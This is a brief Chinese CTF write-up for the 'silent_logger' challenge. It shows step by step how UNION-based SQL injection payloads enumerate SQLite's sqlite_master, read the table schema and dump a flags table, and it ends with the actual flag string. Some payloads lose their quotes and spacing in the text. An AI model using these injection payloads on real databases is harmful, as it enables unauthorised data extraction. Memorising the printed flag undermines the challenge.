【青少年CTF S1·2026 公益赛】silent_logger

张开发
2026/4/13 11:39:06 15 分钟阅读

分享文章

【青少年CTF S1·2026 公益赛】silent_logger
SQL注入的题目数据库SQLite后面测试发现 information_schema不存在但 sqlite_master存在。就可以说明数据库用的是SQLite爆表名 构造 Payload 查询 sqlite_master表-1 UNION SELECT 1, group_concat(tbl_name), 3 FROM sqlite_master WHERE typetable --得到目标表flags爆列名 SQLite 中需查看建表语句 (sql 字段) 来得知列名-1 UNION SELECT 1, sql, 3 FROM sqlite_master WHERE tbl_nameflags --笔记 这里有一个更优的解法 直接通过 union select 1,2,sql from sqlite_master-- - 来获取的建表的所有sql语句就可以直接找到的flag的表以及它相应的字段的sql语句 然后直接获取flag获取 flag 查询 flags 表的 value 列-1 UNION SELECT 1, value, 3 FROM flags --qsnctf{4ed7dedc44da4df8836977b4044b6e63}

更多文章